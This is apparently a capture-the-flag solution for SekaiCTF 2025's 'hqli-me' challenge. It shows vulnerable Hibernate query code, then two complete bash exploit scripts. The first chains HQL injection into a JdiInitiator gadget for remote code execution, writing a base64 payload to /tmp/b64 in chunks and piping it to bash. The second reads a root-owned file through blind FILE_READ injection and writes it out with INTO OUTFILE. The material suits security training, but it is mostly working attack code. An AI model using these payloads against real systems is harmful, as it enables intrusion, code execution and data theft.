SekaiCTF 2025 hqli-me

var sql = "select %s from Order o where o.username=\"%s\"".formatted(fields, authnUser);
var et = HibernateUtil.getSessionFactory().createEntityManager();
var result = et.createQuery(sql).getResultList();

public static boolean validateFields(String fields) {
    var tokens = fields.split(",");
    for (var i = 0; i < tokens.length; i++) {
        var token = tokens[i].trim();
        // Check if it contains non-alphanumeric character
        if (Pattern.matches("\\W", token)) {
            return false;
        }
    }
    return true;
}

var sql = "select s from Session s where s.sessionId = \"%s\"".formatted(sessionId);

private static final String ARG_HOME = "home";
private static final String ARG_OPTIONS = "options";
private static final String ARG_MAIN = "main";
private static final String ARG_INIT_SUSPEND = "suspend";
private static final String ARG_QUOTE = "quote";
private static final String ARG_VM_EXEC = "vmexec";

static private final String ARG_VM_INCLUDE_VTHREADS = "includevirtualthreads";

String command = exePath + ' ' +
                    options + ' ' +
                    "-Xdebug " +
                    "-Xrunjdwp:" + xrun + ' ' +
                    mainClassAndArgs;

// System.err.println("Command: \"" + command + '"');
vm = launch(tokenizeCommand(command, quote.charAt(0)), address, listenKey,
                        transportService());

if (home.length() > 0) {
    exePath = home + File.separator + "bin" + File.separator + exe;
} else {
    exePath = exe;
}

String home = argument(ARG_HOME, arguments).value();

String exe = argument(ARG_VM_EXEC, arguments).value();

String quote = argument(ARG_QUOTE, arguments).value();

var sql = "select s from Session s where s.sessionId = \"%s\"".formatted(sessionId);
var result = et.createQuery(sql).getResultList();
if (result.isEmpty()) {
    code = 401;
    yield "Unauthorized";
}

var session = (Session) result.get(0);
yield "user=" + session.user.username;

#!/bin/bash

# ==============================================================================
# ---                           CONFIGURATION                                ---
# ==============================================================================

# --- Stage 1 & 2: Authentication and Template Processing ---
LOGIN_URL="http://127.0.0.1:1337/login"
TEMPLATE_FILE="payload_template.sh"
GENERATED_PAYLOAD_FILE="payload.sh"

# --- Stage 3: RCE Trigger ---
RCE_URL="http://127.0.0.1:1337/orders"


# ==============================================================================
# ---                       HELPER FUNCTION (URL ENCODE)                     ---
# ==============================================================================
urlencode() {
    local string="${1}"
    local strlen=${#string}
    local encoded=""
    local pos c o

    for (( pos=0 ; pos<strlen ; pos++ )); do
        c=${string:$pos:1}
        case "$c" in
            [-_.~a-zA-Z0-9] ) o="${c}" ;;
            * )               printf -v o '%%%02x' "'$c"
        esac
        encoded+="${o}"
    done
    echo "${encoded}"
}


# ==============================================================================
# ---                            MAIN SCRIPT LOGIC                           ---
# ==============================================================================

# --- STAGE 1: AUTHENTICATE AND GET SESSION ID ---
echo "--- Stage 1: Authenticating to get a new session ID ---"
SESSION_ID=$(curl -s -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "username=guest&password=guest" \
  "$LOGIN_URL")

if [[ -z "$SESSION_ID" ]]; then
  echo "Error: Failed to retrieve a session ID from $LOGIN_URL. Aborting." >&2
  exit 1
fi
echo "Successfully retrieved session ID: $SESSION_ID"
echo ""


# --- STAGE 2: GENERATE PAYLOAD SCRIPT FROM TEMPLATE ---
echo "--- Stage 2: Processing the payload template ---"

if [[ ! -r "$TEMPLATE_FILE" ]]; then
    echo "Error: The template file '$TEMPLATE_FILE' was not found or is not readable. Aborting." >&2
    exit 1
fi

sed "s/<<SESSION_ID_HERE>>/$SESSION_ID/g" "$TEMPLATE_FILE" > "$GENERATED_PAYLOAD_FILE"
echo "Generated payload script and saved it to '$GENERATED_PAYLOAD_FILE'."
echo ""


# --- STAGE 3: BASE64 ENCODE PAYLOAD & SEND IN 10 CHUNKS ---
echo "--- Stage 3: Encoding payload and triggering RCE via JdiInitiator gadget (10 chunks) ---"

if [[ ! -r "$GENERATED_PAYLOAD_FILE" ]]; then
    echo "Error: The generated payload file '$GENERATED_PAYLOAD_FILE' could not be read. Aborting." >&2
    exit 1
fi

# 1) Base64 encode without wrapping.
PAYLOAD_B64=$(base64 -w 0 "$GENERATED_PAYLOAD_FILE")
if [[ -z "$PAYLOAD_B64" ]]; then
    echo "Error: Failed to Base64 encode the payload. Aborting." >&2
    exit 1
fi

# 2) Split into 10 (approximately equal) chunks.
TOTAL_LEN=${#PAYLOAD_B64}
CHUNK_COUNT=10
CHUNK_SIZE=$(( (TOTAL_LEN + CHUNK_COUNT - 1) / CHUNK_COUNT ))  # ceil

# 3) Template for 'fields' with placeholder to swap the RCE command.
TEMPLATE_FIELDS='new jdk.jshell.execution.JdiInitiator(5, new list("-XX:OnError=id>/tmp/err.rce","-XX:OnOutOfMemoryError=id>/tmp/err2.rce","-XX:+CrashOnOutOfMemoryError","-jar /app/target/hn-1.0-SNAPSHOT-jar-with-dependencies.jar"), new java.lang.String("asdf"), true, null, 8000, new map("^" as quote,"^bash^-c^^id>/tmp/winz2^^" as home)) UNION select new jdk.jshell.execution.JdiInitiator(0, new list("a","b","c","d"), new java.lang.String("jdk.jshell.execution.RemoteExecutionControl"), true, null, 8000, new java.util.HashMap(2,2))'

echo "Total length: $TOTAL_LEN, chunk size: $CHUNK_SIZE"

for (( i=0; i<CHUNK_COUNT; i++ )); do
    START=$(( i * CHUNK_SIZE ))
    PART="${PAYLOAD_B64:$START:$CHUNK_SIZE}"
    [[ -z "$PART" ]] && { echo "No more data to send at chunk $((i+1))."; break; }

    echo ""
    echo ">>> Preparing request $((i+1))/${CHUNK_COUNT} (bytes ${START}..$((START+${#PART}-1))) (Status 500 is OK)"

    # 4) Build the RCE command for this chunk (append to /tmp/b64).
    #    \${IFS} creates a space between 'echo' and data at execution time.
    RCE_COMMAND="echo\${IFS}$PART>>/tmp/b64"

    # 5) Substitute the placeholder in the fields template.
    MODIFIED_TEMPLATE=$(echo "$TEMPLATE_FIELDS" | sed 's*id>/tmp/winz2*__RCE_COMMAND_PLACEHOLDER__*')
    FIELDS_PAYLOAD_RAW=$(echo "$MODIFIED_TEMPLATE" | sed "s*__RCE_COMMAND_PLACEHOLDER__*${RCE_COMMAND}*")

    # 6) URL-encode the 'fields' and build the POST body.
    FIELDS_PAYLOAD_ENCODED=$(urlencode "$FIELDS_PAYLOAD_RAW")
    DATA="sessionId=${SESSION_ID}&fields=${FIELDS_PAYLOAD_ENCODED}"

    # 7) Wait 1.5 seconds before each request, then send it.
    sleep 1.5
    curl -s -o /dev/null -w "Status:%{http_code}\n" -X POST \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -H "User-Agent: Mozilla/5.0 (Exploit Script)" \
        -H "Accept: */*" \
        --data-binary "$DATA" \
        "$RCE_URL"
done
sleep 1.5
RCE_TRIGGER_COMMAND="cat\${IFS}/tmp/b64|base64\${IFS}-d|bash"
FIELDS_PAYLOAD_TRIGGER_RAW=$(echo "$MODIFIED_TEMPLATE" | sed "s*__RCE_COMMAND_PLACEHOLDER__*${RCE_TRIGGER_COMMAND}*")
FIELDS_PAYLOAD_TRIGGER_ENCODED=$(urlencode "$FIELDS_PAYLOAD_TRIGGER_RAW")
DATA_TRIGGER="sessionId=${SESSION_ID}&fields=${FIELDS_PAYLOAD_TRIGGER_ENCODED}"
curl -s -o /dev/null -w "Status:%{http_code}\n" -X POST \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -H "User-Agent: Mozilla/5.0 (Exploit Script)" \
    -H "Accept: */*" \
    --data-binary "$DATA_TRIGGER" \
    "$RCE_URL"

echo ""
echo "----------------------------------------------------"
echo "The base64 payload was sent in chunks to /tmp/b64 and then executed."
echo "Polling for flag in mysql"

DATA="sessionId=${SESSION_ID}&fields=sql%28%27to_base64%28LOAD_FILE%28%22%2Fvar%2Flib%2Fmysql-files%2Fflag%22%29%29+--+%27%29q"
tmp="$(mktemp)"
trap 'rm -f "$tmp"' EXIT

while :; do
  code="$(curl -sS --path-as-is --compressed \
    -o "$tmp" -w '%{http_code}' \
    -X POST "$RCE_URL" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-raw "$DATA")"

  if [ "$code" = "200" ]; then
    # Try to grab a base64-looking blob; if not, fall back to ignoring garbage.
    if b64="$(tr -d '\r\n' <"$tmp" | grep -oE '[A-Za-z0-9+/=]{16,}' | head -n1)"; then
      if [ -n "$b64" ] && printf '%s' "$b64" | base64 --decode 2>/dev/null; then
        echo
        break
      fi
    fi
    # Fallback: decode while ignoring non-base64 characters (GNU coreutils)
    if decoded="$(base64 --decode --ignore-garbage "$tmp" 2>/dev/null)"; then
      printf '%s\n' "$decoded"
    else
      echo "HTTP 200 received, but could not decode base64. Raw body below:"
      cat "$tmp"
    fi
    break
  fi

  sleep 1
done

#!/bin/bash

# ==============================================================================
# ---                           CONFIGURATION                                ---
# ==============================================================================

# --- Stage 1: Flag Exfiltration Configuration ---
EXFIL_URL="http://127.0.0.1:8000/sessionInfo"
REMOTE_FLAG_PATH="/root/flag.s"
START_POSITION=315

# The character set to test for each position.
# Add any other special characters you suspect might be in the flag inside the quotes.
CHARSET="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-!@#$%^&*().,/?<>~|\`'\"+=;:[]\\ "


# The character that signals the end of the exfiltration.
TERMINATION_CHAR="}"

# --- Stage 2: Remote File Write Configuration ---
WRITE_URL="http://127.0.0.1:1337/orders"
WRITE_SESSION_ID="<<SESSION_ID_HERE>>"
REMOTE_OUTPUT_FILE="/var/lib/mysql-files/flag"


# ==============================================================================
# ---                       HELPER FUNCTION (URL ENCODE)                     ---
# ==============================================================================
urlencode() {
    local string="${1}"
    local strlen=${#string}
    local encoded=""
    local pos c o

    for (( pos=0 ; pos<strlen ; pos++ )); do
        c=${string:$pos:1}
        case "$c" in
            [-_.~a-zA-Z0-9] ) o="${c}" ;;
            * )               printf -v o '%%%02x' "'$c"
        esac
        encoded+="${o}"
    done
    echo "${encoded}"
}


# ==============================================================================
# ---                      MAIN SCRIPT LOGIC                                 ---
# ==============================================================================

# --- STAGE 1: EXFILTRATE THE FLAG ---
echo "--- Stage 1: Exfiltrating flag from '$REMOTE_FLAG_PATH' ---"
echo "Starting at position: $START_POSITION"
echo "----------------------------------------------------"

EXTRACTED_FLAG=""
POSITION=$START_POSITION

while true; do
    FOUND_CHAR=false
    for (( i=0; i<${#CHARSET}; i++ )); do
        CHAR="${CHARSET:$i:1}"
        
        if [[ "$CHAR" == "'" ]]; then
            ESCAPED_CHAR="\\'"
        else
            ESCAPED_CHAR="$CHAR"
        fi

        # Construct the raw HQL payload for the current character guess
        PAYLOAD_RAW="\" OR SUBSTRING(CAST(FILE_READ('${REMOTE_FLAG_PATH}','utf-8') as string),${POSITION},1)='${ESCAPED_CHAR}' OR s.sessionId=\""

        # URL-encode the payload
        PAYLOAD_ENCODED=$(urlencode "$PAYLOAD_RAW")

        # Perform the curl request and get the status code
        STATUS_CODE=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
            -H "Content-Type: application/x-www-form-urlencoded" \
            --data-binary "sessionId=${PAYLOAD_ENCODED}" \
            "$EXFIL_URL")

        # Check the server's response
        if [[ "$STATUS_CODE" == "200" ]]; then
            echo "Found character at position $POSITION: '$CHAR'"
            EXTRACTED_FLAG+="$CHAR"
            ((POSITION++))
            FOUND_CHAR=true
            
            if [[ "$CHAR" == "$TERMINATION_CHAR" ]]; then
                echo "----------------------------------------------------"
                echo "Termination character '$TERMINATION_CHAR' found. Stage 1 complete."
                break 2
            fi
            
            break
        fi
    done

    if ! $FOUND_CHAR; then
        echo "----------------------------------------------------"
        echo "Could not find a matching character in the charset for position $POSITION."
        break
    fi
done


# --- STAGE 2: WRITE THE EXFILTRATED FLAG TO A REMOTE FILE ---

echo ""
echo "--- Stage 2: Writing exfiltrated flag to '$REMOTE_OUTPUT_FILE' ---"

if [[ -z "$EXTRACTED_FLAG" ]]; then
    echo "Error: Flag exfiltration failed in Stage 1. The flag is empty. Aborting."
    exit 1
fi

echo "Using exfiltrated flag: $EXTRACTED_FLAG"

# Escape characters within the flag content that would break the SQL query's string literal
ESCAPED_FLAG_CONTENT=$(echo "$EXTRACTED_FLAG" | sed -e "s/'/''/g")

# Construct the raw payload for the 'fields' parameter using the new, simpler format.
# Note that we do NOT use SELECT here.
WRITE_PAYLOAD_RAW=$(printf "sql('\"%s\" into outfile \"%s\" -- ')" "$ESCAPED_FLAG_CONTENT" "$REMOTE_OUTPUT_FILE")

echo "Constructed Raw Payload for Stage 2: $WRITE_PAYLOAD_RAW"

# URL-encode the entire payload
WRITE_PAYLOAD_ENCODED=$(urlencode "$WRITE_PAYLOAD_RAW")

# Construct the final data body for the POST request
DATA="sessionId=${WRITE_SESSION_ID}&fields=${WRITE_PAYLOAD_ENCODED}"

echo "Sending POST request to $WRITE_URL..."

# Perform the curl request with verbosity to see the outcome
curl -v -X POST \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-binary "$DATA" \
    "$WRITE_URL"

echo ""
echo "----------------------------------------------------"
echo "Exploit complete. If Stage 2 was successful, the content of the flag has been written to '$REMOTE_OUTPUT_FILE' on the database server."